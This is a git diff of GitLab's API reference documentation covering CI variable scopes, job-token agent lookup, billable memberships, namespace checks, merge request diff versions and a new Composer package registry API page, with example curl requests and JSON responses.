@@ -8582,6 +9200,7 @@ Represents metadata associated with a Package.
One of:
- [`ComposerMetadata`](#composermetadata)
+- [`ConanMetadata`](#conanmetadata)
#### `VulnerabilityDetail`
@@ -8665,7 +9284,7 @@ Implementations:
| `fullPath` | [`String!`](#string) | The full path to the design file. |
| `id` | [`ID!`](#id) | The ID of this design. |
| `image` | [`String!`](#string) | The URL of the full-sized image. |
-| `imageV432x230` | [`String`](#string) | The URL of the design resized to fit within the bounds of 432x230. This will be `null` if the image has not been generated |
+| `imageV432x230` | [`String`](#string) | The URL of the design resized to fit within the bounds of 432x230. This will be `null` if the image has not been generated. |
| `issue` | [`Issue!`](#issue) | The issue the design belongs to. |
| `notesCount` | [`Int!`](#int) | The total count of user-created notes for this design. |
| `project` | [`Project!`](#project) | The project the design belongs to. |
@@ -8734,6 +9353,19 @@ Implementations:
| `discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. |
| `notes` | [`NoteConnection!`](#noteconnection) | All notes on this noteable. |
+#### `PackageFileMetadata`
+
+Represents metadata associated with a Package file.
+
+Implementations:
+
+- [`ConanFileMetadata`](#conanfilemetadata)
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `createdAt` | [`Time!`](#time) | Date of creation. |
+| `updatedAt` | [`Time!`](#time) | Date of most recent update. |
+
#### `ResolvableInterface`
Implementations:
diff --git a/doc/api/group_level_variables.md b/doc/api/group_level_variables.md
index 551bd473970..500d5a60c9c 100644
--- a/doc/api/group_level_variables.md
+++ b/doc/api/group_level_variables.md
@@ -31,14 +31,16 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
"variable_type": "env_var",
"value": "TEST_1",
"protected": false,
- "masked": false
+ "masked": false,
+ "environment_scope": "*"
},
{
"key": "TEST_VARIABLE_2",
"variable_type": "env_var",
"value": "TEST_2",
"protected": false,
- "masked": false
+ "masked": false,
+ "environment_scope": "*"
}
]
```
@@ -66,7 +68,8 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
"variable_type": "env_var",
"value": "TEST_1",
"protected": false,
- "masked": false
+ "masked": false,
+ "environment_scope": "*"
}
```
@@ -86,6 +89,7 @@ POST /groups/:id/variables
| `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` |
| `protected` | boolean | no | Whether the variable is protected |
| `masked` | boolean | no | Whether the variable is masked |
+| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable) of a variable |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/variables" --form "key=NEW_VARIABLE" --form "value=new value"
@@ -97,7 +101,8 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla
"value": "new value",
"variable_type": "env_var",
"protected": false,
- "masked": false
+ "masked": false,
+ "environment_scope": "*"
}
```
@@ -117,6 +122,7 @@ PUT /groups/:id/variables/:key
| `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` |
| `protected` | boolean | no | Whether the variable is protected |
| `masked` | boolean | no | Whether the variable is masked |
+| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable) of a variable |
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/variables/NEW_VARIABLE" --form "value=updated value"
@@ -128,7 +134,8 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab
"value": "updated value",
"variable_type": "env_var",
"protected": true,
- "masked": true
+ "masked": true,
+ "environment_scope": "*"
}
```
diff --git a/doc/api/group_repository_storage_moves.md b/doc/api/group_repository_storage_moves.md
index f4d89c34f38..0388bf46a1b 100644
--- a/doc/api/group_repository_storage_moves.md
+++ b/doc/api/group_repository_storage_moves.md
@@ -10,8 +10,8 @@ type: reference
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53016) in GitLab 13.9.
Group repositories can be moved between storages. This can be useful when
-[migrating to Gitaly Cluster](../administration/gitaly/praefect.md#migrate-existing-repositories-to-gitaly-cluster),
-for example, or to migrate a Group Wiki.
+[migrating to Gitaly Cluster](../administration/gitaly/praefect.md#migrate-to-gitaly-cluster), for
+example, or to migrate a Group Wiki.
As group repository storage moves are processed, they transition through different states. Values
of `state` are:
diff --git a/doc/api/group_wikis.md b/doc/api/group_wikis.md
index 6c5e2b77f93..f0c38d4d4b9 100644
--- a/doc/api/group_wikis.md
+++ b/doc/api/group_wikis.md
@@ -9,7 +9,8 @@ type: reference, api
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/212199) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.5.
-Available only in APIv4.
+The [group wikis](../user/project/wiki/index.md#group-wikis) API is available only in APIv4.
+An API for [project wikis](wikis.md) is also available.
## List wiki pages
diff --git a/doc/api/groups.md b/doc/api/groups.md
index b3ab00b362e..6c01b2cf2a6 100644
--- a/doc/api/groups.md
+++ b/doc/api/groups.md
@@ -769,7 +769,7 @@ Parameters:
### Options for `default_branch_protection`
-The `default_branch_protection` attribute determines whether developers and maintainers can push to the applicable master branch, as described in the following table:
+The `default_branch_protection` attribute determines whether developers and maintainers can push to the applicable [default branch](../user/project/repository/branches/default.md), as described in the following table:
| Value | Description |
|-------|-------------------------------------------------------------------------------------------------------------|
@@ -975,6 +975,9 @@ Parameters:
The response is `202 Accepted` if the user has authorization.
+NOTE:
+A GitLab.com group can't be removed if it is linked to a subscription. To remove such a group, first [link the subscription](../subscriptions/index.md#change-the-linked-namespace) with a different group.
+
## Restore group marked for deletion **(PREMIUM)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33257) in GitLab 12.8.
diff --git a/doc/api/invitations.md b/doc/api/invitations.md
index 905e4c2e288..fbdecd0e3fa 100644
--- a/doc/api/invitations.md
+++ b/doc/api/invitations.md
@@ -61,8 +61,8 @@ When there was any error sending the email:
{
"status": "error",
"message": {
- "test@example.com": "Already invited",
- "test2@example.com": "Member already exsists"
+ "test@example.com": "Invite email has already been taken",
+ "test2@example.com": "User already exists in source"
}
}
```
diff --git a/doc/api/issue_links.md b/doc/api/issue_links.md
index 40f536c86ba..db65662c9cf 100644
--- a/doc/api/issue_links.md
+++ b/doc/api/issue_links.md
@@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
## List issue relations
-Get a list of a given issue's [related issues](../user/project/issues/related_issues.md),
+Get a list of a given issue's [linked issues](../user/project/issues/related_issues.md),
sorted by the relationship creation datetime (ascending).
Issues are filtered according to the user authorizations.
diff --git a/doc/api/jobs.md b/doc/api/jobs.md
index 981aec07bdb..78af6b881aa 100644
--- a/doc/api/jobs.md
+++ b/doc/api/jobs.md
@@ -295,7 +295,8 @@ In GitLab 13.3 and later, this endpoint [returns data for any pipeline](pipeline
including [child pipelines](../ci/parent_child_pipelines.md).
In GitLab 13.5 and later, this endpoint does not return retried jobs in the response
-by default.
+by default. Additionally, jobs are sorted by ID in descending order (newest first).
+In earlier GitLab versions, jobs are sorted by ID in ascending order (oldest first).
In GitLab 13.9 and later, this endpoint can include retried jobs in the response
with `include_retried` set to `true`.
@@ -387,6 +388,8 @@ Example of response
## Get job token's job
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51727) in GitLab 13.10.
+
Retrieve the job that generated a job token.
```plaintext
@@ -456,6 +459,86 @@ Example of response
}
```
+## Get Kubernetes Agents by `CI_JOB_TOKEN` **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/324269) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.11.
+
+Retrieve the job that generated the `CI_JOB_TOKEN`, along with a list of allowed GitLab
+Kubernetes Agents.
+
+```plaintext
+GET /job/allowed_agents
+```
+
+Supported attributes:
+
+| Attribute | Type | Required | Description |
+|:------------ |:---------|:---------|:----------------------|
+| `CI_JOB_TOKEN` | string | yes | Token value associated with the GitLab-provided `CI_JOB_TOKEN` variable. |
+
+Example request:
+
+```shell
+curl --header "JOB-TOKEN: <CI_JOB_TOKEN>" "https://gitlab.example.com/api/v4/job/allowed_agents"
+curl "https://gitlab.example.com/api/v4/job/allowed_agents?job_token=<CI_JOB_TOKEN>"
+```
+
+Example response:
+
+```json
+{
+ "allowed_agents":
+ [
+ {
+ "id": 1,
+ "config_project": {
+ "id": 1,
+ "description": null,
+ "name": "project1",
+ "name_with_namespace": "John Doe2 / project1",
+ "path": "project1",
+ "path_with_namespace": "namespace1/project1",
+ "created_at": "2021-03-26T14:51:50.579Z"
+ }
+ }
+ ],
+ "job": {
+ "id": 1,
+ "name": "test",
+ "stage": "test",
+ "project_id": 1,
+ "project_name": "project1"
+ },
+ "pipeline": {
+ "id": 1,
+ "project_id": 1,
+ "sha": "b83d6e391c22777fca1ed3012fce84f633d7fed0",
+ "ref": "master",
+ "status": "pending",
+ "created_at": "2021-03-26T14:51:51.107Z",
+ "updated_at": "2021-03-26T14:51:51.107Z",
+ "web_url": "http://localhost/namespace1/project1/-/pipelines/1"
+ },
+ "project": {
+ "id": 1,
+ "description": null,
+ "name": "project1",
+ "name_with_namespace": "John Doe2 / project1",
+ "path": "project1",
+ "path_with_namespace": "namespace1/project1",
+ "created_at": "2021-03-26T14:51:50.579Z"
+ },
+ "user": {
+ "id": 2,
+ "name": "John Doe3",
+ "username": "user2",
+ "state": "active",
+ "avatar_url": "https://www.gravatar.com/avatar/10fc7f102b",
+ "web_url": "http://localhost/user2"
+ }
+}
+```
+
## Get a single job
Get a single job of a project
diff --git a/doc/api/members.md b/doc/api/members.md
index 286be10dd6e..adfe2df8f30 100644
--- a/doc/api/members.md
+++ b/doc/api/members.md
@@ -90,8 +90,10 @@ Example response:
Gets a list of group or project members viewable by the authenticated user, including inherited members and permissions through ancestor groups.
-WARNING:
-Due to [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/249523), the users effective `access_level` may actually be higher than returned value when listing group members.
+If a user is a member of this group or project and also of one or more ancestor groups,
+only its membership with the highest `access_level` is returned.
+([Improved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56677)] in GitLab 13.11.)
+This represents the effective permission of the user.
This function takes pagination parameters `page` and `per_page` to restrict the list of users.
@@ -310,6 +312,67 @@ Example response:
]
```
+## List memberships for a billable member of a group
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321560) in GitLab 13.11.
+
+Gets a list of memberships for a billable member of a group.
+
+Lists all projects and groups a user is a member of. Only projects and groups within the group hierarchy are included.
+For instance, if the requested group is `Root Group`, and the requested user is a direct member of both `Root Group / Sub Group One` and `Other Group / Sub Group Two`, then only `Root Group / Sub Group One` will be returned, because `Other Group / Sub Group Two` is not within the `Root Group` hierarchy.
+
+The response represents only direct memberships. Inherited memberships are not included.
+
+This API endpoint works on top-level groups only. It does not work on subgroups.
+
+This API endpoint requires permission to admin memberships for the group.
+
+This API endpoint takes [pagination](README.md#pagination) parameters `page` and `per_page` to restrict the list of memberships.
+
+```plaintext
+GET /groups/:id/billable_members/:user_id/memberships
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `user_id` | integer | yes | The user ID of the billable member |
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/billable_members/:user_id/memberships"
+```
+
+Example response:
+
+```json
+[
+ {
+ "id": 168,
+ "source_id": 131,
+ "source_full_name": "Root Group / Sub Group One",
+ "source_members_url": "https://gitlab.example.com/groups/root-group/sub-group-one/-/group_members",
+ "created_at": "2021-03-31T17:28:44.812Z",
+ "expires_at": "2022-03-21",
+ "access_level": {
+ "string_value": "Developer",
+ "integer_value": 30
+ }
+ },
+ {
+ "id": 169,
+ "source_id": 63,
+ "source_full_name": "Root Group / Sub Group One / My Project",
+ "source_members_url": "https://gitlab.example.com/root-group/sub-group-one/my-project/-/project_members",
+ "created_at": "2021-03-31T17:29:14.934Z",
+ "expires_at": null,
+ "access_level": {
+ "string_value": "Maintainer",
+ "integer_value": 40
+ }
+ }
+]
+```
+
## Remove a billable member from a group
Removes a billable member from a group and its subgroups and projects.
@@ -494,7 +557,10 @@ DELETE /projects/:id/members/:user_id
| --------- | ---- | -------- | ----------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](README.md#namespaced-path-encoding) owned by the authenticated user |
| `user_id` | integer | yes | The user ID of the member |
-| `unassign_issuables` | boolean | false | Flag indicating if the removed member should be unassigned from any issues or merge requests inside a given group or project |
+| `skip_subresources` | boolean | false | Whether the deletion of direct memberships of the removed member in subgroups and projects should be skipped. Default is `false`. |
+| `unassign_issuables` | boolean | false | Whether the removed member should be unassigned from any issues or merge requests inside a given group or project. Default is `false`. |
+
+Example request:
```shell
curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/members/:user_id"
diff --git a/doc/api/merge_request_approvals.md b/doc/api/merge_request_approvals.md
index ea049c46e73..be973518d89 100644
--- a/doc/api/merge_request_approvals.md
+++ b/doc/api/merge_request_approvals.md
@@ -7,7 +7,9 @@ type: reference, api
# Merge request approvals API **(PREMIUM)**
-Configuration for approvals on all Merge Requests (MR) in the project. Must be authenticated for all endpoints.
+Configuration for
+[approvals on all merge requests](../user/project/merge_requests/merge_request_approvals.md)
+in the project. Must be authenticated for all endpoints.
## Project-level MR approvals
@@ -501,72 +503,6 @@ DELETE /projects/:id/approval_rules/:approval_rule_id
| `id` | integer | yes | The ID of a project |
| `approval_rule_id` | integer | yes | The ID of a approval rule
-### Change allowed approvers
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in GitLab 10.6.
-> - Moved to GitLab Premium in 13.9.
-
-NOTE:
-This API endpoint has been deprecated. Please use Approval Rule API instead.
-
-If you are allowed to, you can change approvers and approver groups using
-the following endpoint:
-
-```plaintext
-PUT /projects/:id/approvers
-```
-
-**Important:** Approvers and groups not in the request are **removed**
-
-**Parameters:**
-
-| Attribute | Type | Required | Description |
-| -------------------- | ------- | -------- | --------------------------------------------------- |
-| `id` | integer | yes | The ID of a project |
-| `approver_ids` | Array | yes | An array of User IDs that can approve MRs |
-| `approver_group_ids` | Array | yes | An array of Group IDs whose members can approve MRs |
-
-```json
-{
- "approvers": [
- {
- "user": {
- "id": 5,
- "name": "John Doe6",
- "username": "user5",
- "state":"active","avatar_url":"https://www.gravatar.com/avatar/4aea8cf834ed91844a2da4ff7ae6b491?s=80\u0026d=identicon","web_url":"http://localhost/user5"
- }
- }
- ],
- "approver_groups": [
- {
- "group": {
- "id": 1,
- "name": "group1",
- "path": "group1",
- "description": "",
- "visibility": "public",
- "lfs_enabled": false,
- "avatar_url": null,
- "web_url": "http://localhost/groups/group1",
- "request_access_enabled": false,
- "full_name": "group1",
- "full_path": "group1",
- "parent_id": null,
- "ldap_cn": null,
- "ldap_access": null
- }
- }
- ],
- "approvals_before_merge": 2,
- "reset_approvals_on_push": true,
- "disable_overriding_approvers_per_merge_request": false,
- "merge_requests_author_approval": true,
- "merge_requests_disable_committers_approval": false,
- "require_password_to_approve": true
-}
-```
-
## External Project-level MR approvals **(ULTIMATE)**
Configuration for approvals on a specific Merge Request which makes a call to an external HTTP resource.
@@ -645,7 +581,7 @@ DELETE /projects/:id/external_approval_rules/:rule_id
You can update an existing external approval rule for a project using the following endpoint:
```plaintext
-PATCH /projects/:id/external_approval_rules/:rule_id
+PUT /projects/:id/external_approval_rules/:rule_id
```
| Attribute | Type | Required | Description |
@@ -769,81 +705,6 @@ POST /projects/:id/merge_requests/:merge_request_iid/approvals
}
```
-### Change allowed approvers for Merge Request
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in GitLab 10.6.
-> - Moved to GitLab Premium in 13.9.
-
-NOTE:
-This API endpoint has been deprecated. Please use Approval Rule API instead.
-
-If you are allowed to, you can change approvers and approver groups using
-the following endpoint:
-
-```plaintext
-PUT /projects/:id/merge_requests/:merge_request_iid/approvers
-```
-
-**Important:** Approvers and groups not in the request are **removed**
-
-**Parameters:**
-
-| Attribute | Type | Required | Description |
-|----------------------|---------|----------|-----------------------------------------------------------|
-| `id` | integer | yes | The ID of a project |
-| `merge_request_iid` | integer | yes | The IID of MR |
-| `approver_ids` | Array | yes | An array of User IDs that can approve the MR |
-| `approver_group_ids` | Array | yes | An array of Group IDs whose members can approve the MR |
-
-```json
-{
- "id": 5,
- "iid": 5,
- "project_id": 1,
- "title": "Approvals API",
- "description": "Test",
- "state": "opened",
- "created_at": "2016-06-08T00:19:52.638Z",
- "updated_at": "2016-06-08T21:20:42.470Z",
- "merge_status": "cannot_be_merged",
- "approvals_required": 2,
- "approvals_left": 2,
- "approved_by": [],
- "approvers": [
- {
- "user": {
- "name": "Administrator",
- "username": "root",
- "id": 1,
- "state": "active",
- "avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80\u0026d=identicon",
- "web_url": "http://localhost:3000/root"
- }
- }
- ],
- "approver_groups": [
- {
- "group": {
- "id": 5,
- "name": "group1",
- "path": "group1",
- "description": "",
- "visibility": "public",
- "lfs_enabled": false,
- "avatar_url": null,
- "web_url": "http://localhost/groups/group1",
- "request_access_enabled": false,
- "full_name": "group1",
- "full_path": "group1",
- "parent_id": null,
- "ldap_cn": null,
- "ldap_access": null
- }
- }
- ]
-}
-```
-
### Get the approval state of merge requests
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13712) in GitLab 12.3.
diff --git a/doc/api/merge_requests.md b/doc/api/merge_requests.md
index b77b1a59cd9..d28c7d8e8a7 100644
--- a/doc/api/merge_requests.md
+++ b/doc/api/merge_requests.md
@@ -761,6 +761,8 @@ the `approvals_before_merge` parameter:
}
```
+The `diff_refs` in the response correspond to the latest diff version of the merge request.
+
## Get single MR participants
Get a list of merge request participants.
@@ -2328,7 +2330,8 @@ Example response:
## Get MR diff versions
-Get a list of merge request diff versions.
+Get a list of merge request diff versions. For an explanation of the SHAs in the response,
+read [SHAs in the API response](#shas-in-the-api-response).
```plaintext
GET /projects/:id/merge_requests/:merge_request_iid/versions
@@ -2367,9 +2370,16 @@ Example response:
}]
```
+### SHAs in the API response
+
+- `head_commit_sha`: The HEAD commit of the source branch.
+- `base_commit_sha`: The merge-base commit SHA between the source branch and the target branches.
+- `start_commit_sha`: The HEAD commit SHA of the target branch when this version of the diff was created.
+
## Get a single MR diff version
-Get a single merge request diff version.
+Get a single merge request diff version. For an explanation of the SHAs in the response,
+read [SHAs in the API response](#shas-in-the-api-response).
```plaintext
GET /projects/:id/merge_requests/:merge_request_iid/versions/:version_id
diff --git a/doc/api/metrics_dashboard_annotations.md b/doc/api/metrics_dashboard_annotations.md
index 896420ed0fb..b2f1e52f194 100644
--- a/doc/api/metrics_dashboard_annotations.md
+++ b/doc/api/metrics_dashboard_annotations.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
diff --git a/doc/api/metrics_user_starred_dashboards.md b/doc/api/metrics_user_starred_dashboards.md
index 9178291181e..6f360cddd61 100644
--- a/doc/api/metrics_user_starred_dashboards.md
+++ b/doc/api/metrics_user_starred_dashboards.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
diff --git a/doc/api/namespaces.md b/doc/api/namespaces.md
index a89e91f82e5..c3e88532430 100644
--- a/doc/api/namespaces.md
+++ b/doc/api/namespaces.md
@@ -225,3 +225,33 @@ Example response:
"trial": false
}
```
+
+## Get existence of a namespace
+
+Get existence of a namespace by path. Suggests a new namespace path that does not already exist.
+
+```plaintext
+GET /namespaces/:namespace/exists
+```
+
+| Attribute | Type | Required | Description |
+| ----------- | ------- | -------- | ----------- |
+| `namespace` | string | yes | Namespace's path. |
+| `parent_id` | integer | no | The ID of the parent namespace. If no ID is specified, only top-level namespaces are considered. |
+
+Example request:
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/namespaces/my-group/exists?parent_id=1"
+```
+
+Example response:
+
+```json
+{
+ "exists": true,
+ "suggests": [
+ "my-group1"
+ ]
+}
+```
diff --git a/doc/api/openapi/openapi_interactive.md b/doc/api/openapi/openapi_interactive.md
index 95d7bba8081..e34b003e32c 100644
--- a/doc/api/openapi/openapi_interactive.md
+++ b/doc/api/openapi/openapi_interactive.md
@@ -10,19 +10,27 @@ Introduces the interactive documentation tool for the GitLab API.
## About the OpenAPI specification
-The [OpenAPI specification](https://swagger.io/specification/) (formerly called Swagger) defines a standard, language-agnostic interface to RESTful APIs. OpenAPI definition files are written in the YAML format, which is automatically rendered by the GitLab browser into a more human-readable interface. For general information about the GitLab APIs, see [API Docs](../README.md).
+The [OpenAPI specification](https://swagger.io/specification/) (formerly called Swagger) defines a
+standard, language-agnostic interface to RESTful APIs. OpenAPI definition files are written in the
+YAML format, which is automatically rendered by the GitLab browser into a more human-readable interface.
+
+For general information about the GitLab APIs, see [API Docs](../README.md).
## Overview
-The [interactive API documentation tool](openapi.yaml) allows API testing directly on the GitLab.com
-website. Only a few of the available endpoints are documented with the OpenAPI spec, but the current
-list demonstrates the functionality of the tool.
+<!--
+The following link is absolute rather than relative because it needs to be viewed through the GitLab
+Open API file viewer: https://docs.gitlab.com/ee/user/project/repository/index.html#openapi-viewer.
+-->
+The [interactive API documentation tool](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/api/openapi/openapi.yaml)
+allows API testing directly on the GitLab.com website. Only a few of the available endpoints are
+documented with the OpenAPI spec, but the current list demonstrates the functionality of the tool.
![API viewer screenshot](img/apiviewer01-fs8.png)
## Endpoint parameters
-When you expand an endpoint listing, you'll see a description, input parameters (if required),
+When you expand an endpoint listing, you see a description, input parameters (if required),
and example server responses. Some parameters include a default or a list of allowed values.
![API viewer screenshot](img/apiviewer04-fs8.png)
diff --git a/doc/api/packages/composer.md b/doc/api/packages/composer.md
new file mode 100644
index 00000000000..ebf3ffba92f
--- /dev/null
+++ b/doc/api/packages/composer.md
@@ -0,0 +1,287 @@
+---
+stage: Package
+group: Package
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Composer API
+
+This is the API documentation for [Composer Packages](../../user/packages/composer_repository/index.md).
+
+WARNING:
+This API is used by the [Composer package manager client](https://getcomposer.org/)
+and is generally not meant for manual consumption.
+
+For instructions on how to upload and install Composer packages from the GitLab
+package registry, see the [Composer package registry documentation](../../user/packages/composer_repository/index.md).
+
+NOTE:
+These endpoints do not adhere to the standard API authentication methods.
+See the [Composer package registry documentation](../../user/packages/composer_repository/index.md)
+for details on which headers and token types are supported.
+
+## Base repository request
+
+Returns the repository URL templates for requesting individual packages:
+
+```plaintext
+GET group/:id/-/packages/composer/packages
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the group. |
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/group/1/-/packages/composer/packages"
+```
+
+Example response:
+
+```json
+{
+ "packages": [],
+ "metadata-url": "/api/v4/group/1/-/packages/composer/p2/%package%.json",
+ "provider-includes": {
+ "p/%hash%.json": {
+ "sha256": "082df4a5035f8725a12i4a3d2da5e6aaa966d06843d0a5c6d499313810427bd6"
+ }
+ },
+ "providers-url": "/api/v4/group/1/-/packages/composer/%package%$%hash%.json"
+}
+```
+
+This endpoint is used by Composer V1 and V2. To see the V2-specific response, include the Composer
+`User-Agent` header. Using Composer V2 is recommended over V1.
+
+```shell
+curl --user <username>:<personal_access_token> \
+ --header "User-Agent: Composer/2" \
+ "https://gitlab.example.com/api/v4/group/1/-/packages/composer/packages"
+```
+
+Example response:
+
+```json
+{
+ "packages": [],
+ "metadata-url": "/api/v4/group/1/-/packages/composer/p2/%package%.json"
+}
+```
+
+## V1 packages list
+
+Given the V1 provider sha, returns a list of packages within the repository. Using Composer V2 is
+recommended over V1.
+
+```plaintext
+GET group/:id/-/packages/composer/p/:sha
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the group. |
+| `sha` | string | yes | The provider sha, provided by the Composer [base request](#base-repository-request). |
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/group/1/-/packages/composer/p/082df4a5035f8725a12i4a3d2da5e6aaa966d06843d0a5c6d499313810427bd6"
+```
+
+Example response:
+
+```json
+{
+ "providers": {
+ "my-org/my-composer-package": {
+ "sha256": "5c873497cdaa82eda35af5de24b789be92dfb6510baf117c42f03899c166b6e7"
+ }
+ }
+}
+```
+
+## V1 Package Metadata
+
+Returns the list of versions and metadata for a given package. Using Composer V2 is recommended over
+V1.
+
+```plaintext
+GET group/:id/-/packages/composer/:package_name$:sha
+```
+
+Note the `$` symbol in the URL. When making requests, you may need to use the URL-encoded version of
+the symbol `%24` (see example below).
+
+| Attribute | Type | Required | Description |
+| -------------- | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the group. |
+| `package_name` | string | yes | The name of the package. |
+| `sha` | string | yes | The sha digest of the package, provided by the [V1 packages list](#v1-packages-list). |
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/group/1/-/packages/composer/my-org/my-composer-package%245c873497cdaa82eda35af5de24b789be92dfb6510baf117c42f03899c166b6e7"
+```
+
+Example response:
+
+```json
+{
+ "packages": {
+ "my-org/my-composer-package": {
+ "1.0.0": {
+ "name": "my-org/my-composer-package",
+ "type": "library",
+ "license": "GPL-3.0-only",
+ "version": "1.0.0",
+ "dist": {
+ "type": "zip",
+ "url": "https://gitlab.example.com/api/v4/projects/1/packages/composer/archives/my-org/my-composer-package.zip?sha=673594f85a55fe3c0eb45df7bd2fa9d95a1601ab",
+ "reference": "673594f85a55fe3c0eb45df7bd2fa9d95a1601ab",
+ "shasum": ""
+ },
+ "source": {
+ "type": "git",
+ "url": "https://gitlab.example.com/my-org/my-composer-package.git",
+ "reference": "673594f85a55fe3c0eb45df7bd2fa9d95a1601ab"
+ },
+ "uid": 1234567
+ },
+ "2.0.0": {
+ "name": "my-org/my-composer-package",
+ "type": "library",
+ "license": "GPL-3.0-only",
+ "version": "2.0.0",
+ "dist": {
+ "type": "zip",
+ "url": "https://gitlab.example.com/api/v4/projects/1/packages/composer/archives/my-org/my-composer-package.zip?sha=445394f85a55fe3c0eb45df7bd2fa9d95a1601ab",
+ "reference": "445394f85a55fe3c0eb45df7bd2fa9d95a1601ab",
+ "shasum": ""
+ },
+ "source": {
+ "type": "git",
+ "url": "https://gitlab.example.com/my-org/my-composer-package.git",
+ "reference": "445394f85a55fe3c0eb45df7bd2fa9d95a1601ab"
+ },
+ "uid": 1234567
+ }
+ }
+ }
+}
+```
+
+## V2 Package Metadata
+
+Returns the list of versions and metadata for a given package:
+
+```plaintext
+GET group/:id/-/packages/composer/p2/:package_name
+```
+
+| Attribute | Type | Required | Description |
+| -------------- | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the group. |
+| `package_name` | string | yes | The name of the package. |
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/group/1/-/packages/composer/p2/my-org/my-composer-package"
+```
+
+Example response:
+
+```json
+{
+ "packages": {
+ "my-org/my-composer-package": {
+ "1.0.0": {
+ "name": "my-org/my-composer-package",
+ "type": "library",
+ "license": "GPL-3.0-only",
+ "version": "1.0.0",
+ "dist": {
+ "type": "zip",
+ "url": "https://gitlab.example.com/api/v4/projects/1/packages/composer/archives/my-org/my-composer-package.zip?sha=673594f85a55fe3c0eb45df7bd2fa9d95a1601ab",
+ "reference": "673594f85a55fe3c0eb45df7bd2fa9d95a1601ab",
+ "shasum": ""
+ },
+ "source": {
+ "type": "git",
+ "url": "https://gitlab.example.com/my-org/my-composer-package.git",
+ "reference": "673594f85a55fe3c0eb45df7bd2fa9d95a1601ab"
+ },
+ "uid": 1234567
+ },
+ "2.0.0": {
+ "name": "my-org/my-composer-package",
+ "type": "library",
+ "license": "GPL-3.0-only",
+ "version": "2.0.0",
+ "dist": {
+ "type": "zip",
+ "url": "https://gitlab.example.com/api/v4/projects/1/packages/composer/archives/my-org/my-composer-package.zip?sha=445394f85a55fe3c0eb45df7bd2fa9d95a1601ab",
+ "reference": "445394f85a55fe3c0eb45df7bd2fa9d95a1601ab",
+ "shasum": ""
+ },
+ "source": {
+ "type": "git",
+ "url": "https://gitlab.example.com/my-org/my-composer-package.git",
+ "reference": "445394f85a55fe3c0eb45df7bd2fa9d95a1601ab"
+ },
+ "uid": 1234567
+ }
+ }
+ }
+}
+```
+
+## Create a package
+
+Create a Composer package from a Git tag or branch:
+
+```plaintext
+POST projects/:id/packages/composer
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the group. |
+| `tag` | string | no | The name of the tag to target for the package. |
+| `branch` | string | no | The name of the branch to target for the package. |
+
+```shell
+curl --request POST --user <username>:<personal_access_token> --data tag=v1.0.0 "https://gitlab.example.com/api/v4/projects/1/packages/composer"
+```
+
+Example response:
+
+```json
+{
+ "message": "201 Created"
+}
+```
+
